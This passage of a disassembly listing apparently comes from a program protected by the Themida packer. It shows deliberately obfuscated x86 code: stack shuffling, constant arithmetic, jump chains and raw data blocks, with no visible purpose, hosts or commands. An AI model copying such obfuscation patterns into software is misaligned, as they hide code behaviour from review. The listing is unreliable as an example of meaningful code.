		dd 0BBFFE924h, 0ED810000h, 0C751A389h, 815DEA21h, 811884F2h
		dd 0D3E8E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50336A:				; CODE XREF: Themida_:00514209j
		add	ah, 9Bh
		mov	cl, ah
		pop	ax
		jmp	loc_50FA23
; ---------------------------------------------------------------------------

loc_503376:				; CODE XREF: Themida_:00513C7Ej
		pop	esi
		pop	esi
		jmp	loc_507F17
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSiuvuJiDh	db '$SVUJIdh',0
		align 10h
aXRCdBSS	db '),$]',8,'R C!;)s',0
		align 2
aZqsD		db 'ZQ{',0
		db 0
; ---------------------------------------------------------------------------

loc_5033B1:				; CODE XREF: Themida_:0050FF0Fj
		shr	esi, 1
		xor	esi, 23131DADh
		add	edx, esi
		pop	esi
		add	edx, ecx
		sub	edx, 231315B5h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_500BF4
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 2C755A60h, 57FFC283h, 0A074A8BFh, 0E9FA01BDh, 10CC5h
; ---------------------------------------------------------------------------

loc_5033EC:				; CODE XREF: Themida_:0050E3E8j
		add	cl, 29h
		add	al, cl
		pop	ecx
		jmp	loc_5095A9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 3FDE900h, 48F0000h, 607BE924h,	0E9570000h, 9CEFh
		dd 105h, 52E0D100h, 576CBB53h, 0DA89DB97h, 3348E95Bh, 0F8290000h
		dd 62B12D5Fh, 0D8013A9Ch, 120BE56h, 0EE81403Ah,	59D9E6Fh
		dd 348BF001h, 4C48124h,	0E9000000h, 0FFFFFE80h
; ---------------------------------------------------------------------------

loc_50344C:				; CODE XREF: Themida_:005069D2j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	[esp+4], edi
		push	ecx
		mov	ecx, 66E254EAh
		sub	[esp+8], ecx
		pop	ecx
		push	5F66h
		mov	[esp], esi
		jmp	loc_507652
; ---------------------------------------------------------------------------

loc_50347B:				; CODE XREF: Themida_:0050E093j
		push	edx
		mov	edx, 221A4348h
		sub	[esp+8], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5085FF
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 72ECE9h,	66B15100h, 0C005E9C0h, 0FE5103E1h
		dd 80592404h, 0F180C1F1h, 0E9CB30A2h, 0C0D1h, 0F37BB005h
		dd 0C542E91Dh, 6DBE0000h, 0E940E62Bh, 0E21h
; ---------------------------------------------------------------------------

loc_5034CC:				; CODE XREF: Themida_:00503283j
		pop	ebx
		add	ebx, 36BF211Bh
		jmp	loc_50B74B
; ---------------------------------------------------------------------------

loc_5034D8:				; CODE XREF: Themida_:00510923j
		push	eax
		push	esp
		jmp	loc_50C03D
; ---------------------------------------------------------------------------
		dd offset dword_4A485C+50Ch
		align 4
		dd 54243C89h, 81243C8Bh, 4C4h, 4C78100h, 68000000h, 638Fh
		dd 0BE243489h, 19752B30h, 0FFCB12E9h, 4C181FFh,	83000000h
		dd 0C8704C1h, 0C3815C24h, 5A5A7DE9h, 3C4AE9h
		db 0
; ---------------------------------------------------------------------------

loc_503521:				; CODE XREF: Themida_:005080F6j
		push	esi
		push	0C53h
		mov	[esp], ebp
		jmp	loc_50DFE1
; ---------------------------------------------------------------------------

loc_50352F:				; CODE XREF: Themida_:00509480j
		push	ebp
		mov	ebp, 64DC6665h
		xor	ebp, 64DC6665h
		mov	eax, ebp
		pop	ebp
		push	edi
		mov	edi, eax
		push	7ED9h
		mov	[esp], edi
		push	5EBFh
		jmp	loc_50CDCF
; ---------------------------------------------------------------------------

loc_503553:				; CODE XREF: Themida_:0050B481j
		mov	[esp], edi
		push	77644334h
		pop	edi
		jmp	loc_512D01
; ---------------------------------------------------------------------------

loc_503561:				; CODE XREF: Themida_:00502387j
		sub	ebx, 1
		add	ebx, 0D6C3A329h
		add	ecx, ebx
		pop	ebx
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		imul	cx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 38AA72BCh
		inc	ebp
		push	edx
		mov	edx, 12877327h
		shr	edx, 4
		jmp	loc_50D4C3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC252h, 5B926866h, 24348966h, 5C0068h, 240C8900h
		dd 0E75B966h, 66516657h, 0E9240481h, 3C8B6623h,	56CBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5035EA:				; CODE XREF: Themida_:005026EFj
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51034C
; ---------------------------------------------------------------------------

loc_503609:				; CODE XREF: Themida_:00504F0Fj
		push	eax
		mov	eax, 46550542h
		push	5EC3h
		mov	[esp], eax
		push	ebx
		mov	ebx, 5FC0306Ch
		xor	[esp+4], ebx
		pop	ebx
		pop	edi
		xor	edi, 5FC0306Ch
		jmp	loc_51397D
; ---------------------------------------------------------------------------
aZsG		db 'Z~',0
		align 4
		dd 246C2966h, 6C816606h, 7BD20624h, 5E665D66h, 24048B66h
		dd 2C481h, 8F660000h, 7EE92404h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503657:				; CODE XREF: Themida_:0050067Ej
		sub	ebp, 7A1A2B03h
		or	ebp, 7B16459Dh
		inc	ebp
		add	ebp, 44AC02EAh
		dec	ebp
		sub	ebp, 4403F2A3h
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	1620h
		mov	[esp], eax
		jmp	loc_512C10
; ---------------------------------------------------------------------------

loc_503699:				; CODE XREF: Themida_:00502662j
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_50F719
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFC16Ah, 7C0F12B8h, 53EAE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5036B6:				; CODE XREF: Themida_:0050AB3Ej
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 4Ah
		add	bh, 10h
		add	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, 3Eh
		jmp	loc_50F01D
; ---------------------------------------------------------------------------

loc_5036D3:				; CODE XREF: Themida_:0050F101j
		dec	ecx
		jmp	loc_5078CC
; ---------------------------------------------------------------------------
aCxxa		db '(XX',0
		db 0F3h, 0E9h, 49h
		dd 8F000082h, 81E92404h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5036EF:				; CODE XREF: Themida_:0050B035j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5028E0
; ---------------------------------------------------------------------------

loc_503705:				; CODE XREF: Themida_:00503E09j
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_50CCE8
; ---------------------------------------------------------------------------
		dw 8950h
		dd 4BF57E0h, 1000000h, 0C7E0E9F8h, 0C6800000h, 50E628F6h
		dd 0C48049B4h, 0F2EC80DAh, 0E97AB551h, 9798h
; ---------------------------------------------------------------------------

loc_503734:				; CODE XREF: Themida_:0050C27Fj
		mov	ecx, 1D1C69E9h
		jmp	loc_50FA2E
; ---------------------------------------------------------------------------

loc_50373E:				; CODE XREF: Themida_:005016C5j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	9CBh
		mov	[esp], eax
		jmp	loc_505011
; ---------------------------------------------------------------------------
		db 0B7h, 7Fh, 0E9h
		dd 19FCh
; ---------------------------------------------------------------------------

loc_503758:				; CODE XREF: Themida_:0050E0CAj
		add	esp, 4
		push	esi
		push	edx
		push	ebp
		push	59C07794h
		pop	ebp
		sub	ebp, 48D74A85h
		mov	edx, ebp
		jmp	loc_5067CB
; ---------------------------------------------------------------------------

loc_503774:				; CODE XREF: Themida_:0050181Ej
		pop	ebx
		add	ecx, esi
		add	ecx, 5D1932DAh
		jmp	loc_500C8F
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4B924h, 4BE90000h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50378F:				; CODE XREF: Themida_:00507D5Bj
		push	esi
		pop	ecx
		jmp	loc_50B324
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 243C8B24h, 8104C483h, 4C4h, 1C576800h, 4890000h, 0F95AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5037B2:				; CODE XREF: Themida_:00505901j
		pop	esi
		mov	ecx, 224B3FEDh
		add	ecx, 42A30872h
		add	ecx, eax
		push	edi
		mov	edi, 4A2F3D01h
		dec	edi
		sub	edi, 2FCA612Ch
		neg	edi
		dec	edi
		sub	edi, 0A2F81BB9h
		sub	ecx, edi
		jmp	loc_511842
; ---------------------------------------------------------------------------

loc_5037DD:				; CODE XREF: Themida_:005064CFj
		xchg	ebp, [esp]
		pop	esp
		push	7CF9h
		mov	[esp], edi
		push	esp
		jmp	loc_4FFBB8
; ---------------------------------------------------------------------------
aYsO		db 'Y,o',0
		dd 7F1E6800h, 0AE90000h, 5000004Ah, 2B8h, 58C32900h, 5C241C87h
		dd 241C8966h, 0AFA5E9h,	4BC78100h, 0E9065412h, 1823h, 1AEA8158h
		dd 5D34A866h, 0E95AD301h, 0FADCh, 83242489h, 59042404h
		dd 0BA64E9h, 7F2D5900h,	29380C70h, 0C550E9D8h, 88510000h
		dd 59EF88E5h, 0FFE61FE9h, 0EE8958FFh, 11110E9h
		db 0
; ---------------------------------------------------------------------------

loc_50385D:				; CODE XREF: Themida_:004FFCD1j
		pop	edx
		or	eax, eax
		jz	loc_500F30
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 5150581Fh
		push	dword ptr [esp]
		jmp	loc_5063F6
; ---------------------------------------------------------------------------
		dd 83B021B3h, 0FFF148E9h, 24048BFFh, 3304C483h,	0EFE9241Ch
		dd 8900005Fh, 0EC81240Ch, 4, 0BF243C89h, 59F521FEh, 0E906EFC1h
		dd 0AFACh
; ---------------------------------------------------------------------------

loc_5038A8:				; CODE XREF: Themida_:0050D354j
		mov	[esp], edi
		mov	edi, 1F4613CBh
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	399Eh
		mov	[esp], esi
		pop	ebp
		jmp	loc_511938
; ---------------------------------------------------------------------------

loc_5038C7:				; CODE XREF: Themida_:00507807j
		xor	ebp, 4A0F7AFEh
		not	ebp
		push	edx
		mov	edx, 1E3825FAh
		and	ebp, edx
		pop	edx
		add	ebp, 0A7DC1FF0h
		jmp	loc_5023FB
; ---------------------------------------------------------------------------

loc_5038E3:				; CODE XREF: Themida_:0050C210j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_510740
; ---------------------------------------------------------------------------

loc_5038F4:				; CODE XREF: Themida_:00501891j
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_508F30
; ---------------------------------------------------------------------------
a31Sc		db '3<$1<$+',0
		align 4

loc_50391C:				; CODE XREF: Themida_:00509185j
		xor	ecx, edi
		add	ecx, 5D88B9FAh
		xor	eax, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_5020DD
; ---------------------------------------------------------------------------

loc_50392F:				; CODE XREF: Themida_:005097DBj
		push	34A2h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_511AC7
; ---------------------------------------------------------------------------

loc_50393F:				; CODE XREF: Themida_:0050937Fj
		xor	dl, 0E6h
		add	ch, dl
		pop	edx
		add	ch, 7Ch
		mov	bl, ch
		pop	ecx
		mov	al, bl
		pop	ebx
		xor	al, 3Fh
		push	cx
		mov	cl, 0F7h
		add	al, 0C9h
		sub	al, cl
		sub	al, 0C9h
		jmp	loc_50A2D1
; ---------------------------------------------------------------------------
aIHM		db ',$hm',0
		dw 6800h
		dd 40FEh, 55242489h, 0ACAE9h, 3E8C100h,	15EC68h, 0BA58E900h
		dd 0DD010000h, 242C875Bh, 0E924248Bh, 0B7B8h, 4C381h, 0EB810000h
		dd 4, 8B241C87h, 0D5E92424h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5039A7:				; CODE XREF: Themida_:00510C2Cj
		dec	ecx
		sub	esp, 4
		jmp	loc_50CCD6
; ---------------------------------------------------------------------------
		db 1
aYsgx		db 'YgX',0
		dw 8F00h
		dd 248B2404h, 240CFE24h, 0BE4CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5039CA:				; CODE XREF: Themida_:0050C440j
		push	ecx
		push	ebp
		mov	ebp, 1
		jmp	loc_4FFFA1
; ---------------------------------------------------------------------------
		dw 0F900h
		dd 10B2525Bh, 0E946F280h, 5A45h, 0E9242C33h, 10576h
; ---------------------------------------------------------------------------

loc_5039EC:				; CODE XREF: Themida_:0050BD7Dj
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	1
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_50FF38
; ---------------------------------------------------------------------------
		db 68h,	28h, 5Dh
		dd 14890000h, 80D3B224h, 0E28090F2h, 6FEA80BFh,	148BD430h
		dd 0EF66E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_503A32:				; CODE XREF: Themida_:0050DDABj
		push	4BA7h
		mov	[esp], edi
		mov	edi, 0B911719h
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_50FDEF
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24148B04h, 0F5A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_503A61:				; CODE XREF: Themida_:005111F7j
		pop	edi
		add	ebp, eax
		push	edi
		mov	edi, 5CAC100Ah
		sub	ebp, edi
		jmp	loc_5083D9
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 66h
		dd 0C5B75366h, 5B66FC28h, 80A6C480h, 0E4D06CE4h, 0C480C4FEh
		dd 0A514E912h, 0B9510000h, 37655FCAh, 149CF181h, 6FE959C0h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_503A9F:				; CODE XREF: Themida_:00507DE5j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_512F37
; ---------------------------------------------------------------------------
		dw 5FE9h
		dd 0C1FFFFBDh, 0EDC105E5h, 0E6895604h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 37E2E9h, 240C8900h, 0C42BDEB9h, 7ADE919h
		dd 0C3680001h, 0E9000022h, 33FCh, 9C240428h, 0FFBD21E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_503AF5:				; CODE XREF: Themida_:0050DB03j
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	669Eh
		mov	[esp], ebp
		push	800h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_50C866
; ---------------------------------------------------------------------------

loc_503B24:				; CODE XREF: Themida_:00514812j
		mov	eax, 73841DAh
		jmp	loc_50A5B8
; ---------------------------------------------------------------------------
aBsrvxzs	db '[vZ',0
		align 2

loc_503B3A:				; CODE XREF: Themida_:00514956j
		mov	edx, 0C74929CEh
		xor	edi, edx
		jmp	loc_511659
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 81087D2Dh, 656B37EDh, 6851521Eh, 4AE9569Ah, 0C3F18159h
		dd 81004969h, 0D33A8FC1h, 0DFF1812Fh, 516F9B47h, 1A242C81h
		dd 0E96F645Bh, 0DE03h
; ---------------------------------------------------------------------------

loc_503B78:				; CODE XREF: Themida_:004FFB8Ej
		sub	edi, 521B741Fh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edi, 4
		push	edi
		jmp	loc_509F67
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 7Bh
		dd 1A2FFBDh, 24148BD7h,	335E9h,	4EE8300h, 5C243487h, 89241489h
		dd 0D2BB53E2h, 6823647Ch, 52D4h, 0E9243489h, 0EE5Eh
; ---------------------------------------------------------------------------

loc_503BC0:				; CODE XREF: Themida_:00507200j
		xor	edi, 6566092Fh
		add	edx, 3E2E99h
		sub	edx, edi
		sub	edx, 3E2E99h
		jmp	loc_50C991
; ---------------------------------------------------------------------------

loc_503BD9:				; CODE XREF: Themida_:0051313Dj
		push	7C89h
		jmp	loc_50F120
; ---------------------------------------------------------------------------

loc_503BE3:				; CODE XREF: Themida_:00504C32j
		add	edi, 27730C5Bh
		jmp	loc_50C6D6
; ---------------------------------------------------------------------------

loc_503BEE:				; CODE XREF: Themida_:0050FB41j
		mov	[esp], ebx
		mov	ebx, 4FE45A4Ah
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		push	27517126h
		pop	ebx
		mov	eax, 7990E7Dh
		jmp	loc_5020E5
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0D1CFE904h, 0E781FFFFh, 12B46D9Bh, 0B951D7F7h, 0ED5BD267h
		dd 0C8BCF31h, 4C48124h,	89000000h, 0C5815FFEh, 31267449h
		dd 7431C581h, 0F50160EBh, 7431ED81h, 0ED8160EBh, 31267449h
		dd 8124348Bh, 4C4h, 242C8700h, 5124248Bh, 0D0885053h, 6858C388h
		dd 4FA7h, 7D5BE9h
		db 0
; ---------------------------------------------------------------------------

loc_503C6D:				; CODE XREF: Themida_:00500F5Fj
		pop	edi
		and	ecx, ebp
		jmp	loc_506849
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 81E9015Ch, 924E6CC1h, 0AE78E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_503C86:				; CODE XREF: Themida_:00502A89j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	eax, ecx
		push	edi
		jmp	loc_50CA0F
; ---------------------------------------------------------------------------
		dd 0CC801AB4h, 18F4800Dh, 5358E628h, 4CE9E389h,	83FFFFF7h
		dd 48904ECh, 0BF7CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_503CB6:				; CODE XREF: Themida_:0050F7D2j
		pop	esp
		jmp	loc_50EFA4
; ---------------------------------------------------------------------------

loc_503CBC:				; CODE XREF: Themida_:00507D1Dj
		mov	ebx, [esp]
		jmp	loc_50A299
; ---------------------------------------------------------------------------
		dd 55F5874Eh, 8B2404FFh, 60E9242Ch, 68FFFFCCh, 60E7h, 0E9240C89h
		dd 4959h
; ---------------------------------------------------------------------------

loc_503CE0:				; CODE XREF: Themida_:0050F114j
		sub	dword ptr [esp], 4298653Fh
		pop	ecx
		add	ecx, 4298653Fh
		pop	edi
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_510ECA
; ---------------------------------------------------------------------------

loc_503CFA:				; CODE XREF: Themida_:0051144Fj
		add	ebp, 4F092F72h
		sub	ebp, edx
		sub	ebp, 4F092F72h
		sub	ebp, 5CE92EA7h
		jmp	loc_50846E
; ---------------------------------------------------------------------------

loc_503D13:				; CODE XREF: Themida_:00507B60j
		xor	ebx, 4D4DB720h
		mov	edi, ebx
		pop	ebx
		push	1CB0h
		jmp	loc_50C41F
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0A625E26h, 100FC781h, 0F5E92B27h, 0FF00004Dh, 77E92434h
		dd 660000C0h, 0E924048Bh, 0FFFFEE2Fh, 4C481h, 0E9590000h
		dd 0FFFFBAC2h
; ---------------------------------------------------------------------------

loc_503D54:				; CODE XREF: Themida_:00510327j
		sub	esi, 514608DAh
		add	esi, 0AA660C0Dh
		mov	ebx, esi
		jmp	loc_513A43
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 2FE8E9h
		db 0
; ---------------------------------------------------------------------------

loc_503D71:				; CODE XREF: Themida_:0050C4A5j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_50BB73
; ---------------------------------------------------------------------------

loc_503D7B:				; CODE XREF: Themida_:0050BA1Cj
		add	ebp, edx
		jmp	loc_508613
; ---------------------------------------------------------------------------

loc_503D82:				; CODE XREF: Themida_:00500421j
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_506AAB
; ---------------------------------------------------------------------------
aPsI		db 'P%',0
		dw 6600h
		dd 6824048Bh, 4B0h, 68241C89h, 77A2h, 89241C89h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2CD2E9h
		db 0
; ---------------------------------------------------------------------------

loc_503DBD:				; CODE XREF: Themida_:00505856j
		xor	eax, ecx
		push	48EFh
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_50E3ED
; ---------------------------------------------------------------------------
aFwsfhQsn	db 'fWSfhQN',0
		db 0
; ---------------------------------------------------------------------------

loc_503DF3:				; CODE XREF: Themida_:00512EB0j
		push	1D97h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_503705
; ---------------------------------------------------------------------------
		dw 489h
aSwk		db '$W',0
		align 2

loc_503E16:				; CODE XREF: Themida_:005147EEj
		push	336B1035h
		pop	eax
		xor	eax, 14683980h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 5CB56B69h
		jmp	loc_50CEE0
; ---------------------------------------------------------------------------
aISl		db 'l',0
		align 2

loc_503E3E:				; CODE XREF: Themida_:00507413j
		mov	cl, al
		jmp	loc_50BDBD
; ---------------------------------------------------------------------------

loc_503E45:				; CODE XREF: Themida_:0050B0F2j
		add	esp, 4
		sub	ecx, 0B0002716h
		add	edx, 2CBD0686h
		jmp	loc_50714E
; ---------------------------------------------------------------------------

loc_503E5C:				; CODE XREF: Themida_:00510CC0j
		add	ebx, 55684EF4h
		add	ebx, ecx
		sub	ebx, 55684EF4h
		pop	ecx
		push	0EC7h
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_509477
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2414h, 4ECh, 24048900h, 42474FFh, 162DE958h, 148B0000h
		dd 4C48324h, 5224348Bh,	0C281E289h, 4, 6290E9h
		db 0
; ---------------------------------------------------------------------------

loc_503EB1:				; CODE XREF: Themida_:0050B2B7j
		xor	ebp, 4AAF552Ch
		shl	ebp, 2
		sub	ebp, 52FBD588h
		add	eax, 0DD3FC8h
		add	eax, 577F2210h
		add	eax, ebp
		sub	eax, 577F2210h
		jmp	loc_5005AC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 243C8704h, 0E9C0095Ch, 2DACh, 81368h, 240C8900h, 547D68h
		dd 24248900h, 10BCFE9h
		db 0
; ---------------------------------------------------------------------------

loc_503EF9:				; CODE XREF: Themida_:0050D3B3j
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 4AB83D6Bh
		sub	edi, ebx
		add	edi, 4AB83D6Bh
		pop	ebx
		jmp	loc_50A8A0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 0C95AE900h, 23B20000h,	8001C280h, 0B55141C2h
		dd 80D5F65Dh, 0EA307EC5h, 0FEE2D059h, 80D2F6CAh, 0D48844F2h
		dd 0FAD3E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_503F42:				; CODE XREF: Themida_:005087CBj
		sub	ebx, 5B6F0F2Ah
		add	ebx, edi
		jmp	loc_5017D7
; ---------------------------------------------------------------------------

loc_503F4F:				; CODE XREF: Themida_:0050BE5Cj
		sub	ebx, 7B201AA2h
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_50C3D5
; ---------------------------------------------------------------------------
aSj		db ',',7,'',0
		align 4
		dd 4C581h, 0ABE90000h, 10000D7h, 1F8E9FAh, 8B660000h, 0E268240Ch
		dd 89000029h, 0FF542404h, 48B2434h, 0E7895724h,	4C781h
		dd 0BB530000h, 4, 39E9DF29h, 810000BAh,	0C55D06E5h, 2AE5812Ch
		dd 0C1012636h, 0F8E907EDh, 810000D0h, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 5650241Ch, 0A349ACBEh, 80C0E90Ch,	0AD660000h
		dd 0B9665166h, 166132Dh, 665966C8h, 66017305h, 0E90FFF2Dh
		dd 5380h, 24048B66h, 18A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_50400D:				; CODE XREF: Themida_:00513126j
		add	esp, 4
		jmp	loc_502DE3
; ---------------------------------------------------------------------------
		db 58h,	81h, 0EEh
		dd 45A21984h, 47E9EE29h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_504023:				; CODE XREF: Themida_:0050244Dj
		sub	dword ptr [eax], 40216454h
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
aL0csby		db '0bY',0
		dw 5600h
		dd 1138E9h, 465BBE00h, 0EE813493h, 24B5110Eh, 23E9DEF7h
		dd 6800006Ch, 67FAh, 7EB68h, 0FF8FE900h, 34FF0000h, 0C4835924h
		dd 0E99A0404h, 5CF4h, 3BC18159h, 5B57C530h, 8387E9h
		db 0
; ---------------------------------------------------------------------------

loc_504079:				; CODE XREF: Themida_:0050D6FDj
		push	eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		jmp	loc_505DC1
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24143124h, 1487D2F7h, 0EA315D24h,	0EA31D531h
		dd 81E08950h, 4ECh, 24348900h, 4BEh, 3E360500h,	0EBE9733Fh
		dd 0B7000039h, 4E7C04Fh, 0C780C7FEh, 5BFD8899h,	0FE01ED80h
		dd 58CD80CDh, 0E9ABF580h, 92ABh
; ---------------------------------------------------------------------------

loc_5040D4:				; CODE XREF: Themida_:0050CBB3j
		add	edx, ebp
		add	edx, 3FE32F46h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jmp	loc_50A956
; ---------------------------------------------------------------------------

loc_5040F8:				; CODE XREF: Themida_:00506AEDj
		mov	ebp, 4FBC59F9h
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_50E33D
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 50h
		dd 4B8h, 58C10100h, 0BD555255h,	5E1157Dh, 4CE9EA89h, 5B000054h
		dd 0FDAAE9h, 4322BD00h,	0E5C15386h, 1ED8106h, 81000000h
		dd 1C5h, 0BAC58100h, 0E9501B5Bh, 0DB2Bh
; ---------------------------------------------------------------------------

loc_504150:				; CODE XREF: Themida_:0050FA49j
		sub	ebp, 4E11782Ah
		mov	ecx, ebp
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_50C408
; ---------------------------------------------------------------------------

loc_50416A:				; CODE XREF: Themida_:0050ACD8j
		sub	esi, 537D7FD8h
		mov	edx, [esp]
		jmp	loc_50CC45
; ---------------------------------------------------------------------------

loc_504178:				; CODE XREF: Themida_:0050FF5Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_50303A
; ---------------------------------------------------------------------------
a_sB		db '_',8,'',0
		align 4

loc_50418C:				; CODE XREF: Themida_:00511A2Dj
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_50DF0B
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 0E9F0283Ch, 4903h, 8006E6C0h, 0E72C9AC6h, 0E704F028h
		dd 0EC3DE95Ah, 1489FFFFh, 8075B624h, 1D0448EEh,	83F2B252h
		dd 0F2E904ECh, 66FFFFE4h, 6824048Bh, 3847h, 81242C89h
		dd 4ECh, 24248900h, 4240481h, 8B000000h, 0C481242Ch, 4
		dd 593368h, 24348900h, 3A2EB951h, 0CE893C83h, 14F75659h
		dd 24348B24h, 4C481h, 0CE810000h, 50FF31D3h, 2B82B951h
		dd 8BE951D9h, 5F000082h, 0FFF869E9h, 81E589FFh,	4C5h, 4ED8300h
		dd 0B2FAE9h, 5E545600h,	0C91EE9h
		db 0
; ---------------------------------------------------------------------------

loc_50423D:				; CODE XREF: Themida_:0050A98Aj
		mov	esi, eax
		jmp	loc_502CC0
; ---------------------------------------------------------------------------
aMaBscfXs	db 'm(cf%X#',0
		align 4

loc_504254:				; CODE XREF: Themida_:00512DABj
		xor	[esp], edi
		jmp	loc_503288
; ---------------------------------------------------------------------------
		dd 403E80BEh, 0FFEE830Ch, 256EEE81h, 0F221DB8Eh, 0BA7AE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_504272:				; CODE XREF: Themida_:00504C6Dj
		and	esi, 29AF5EFFh
		jmp	loc_513BBD
; ---------------------------------------------------------------------------

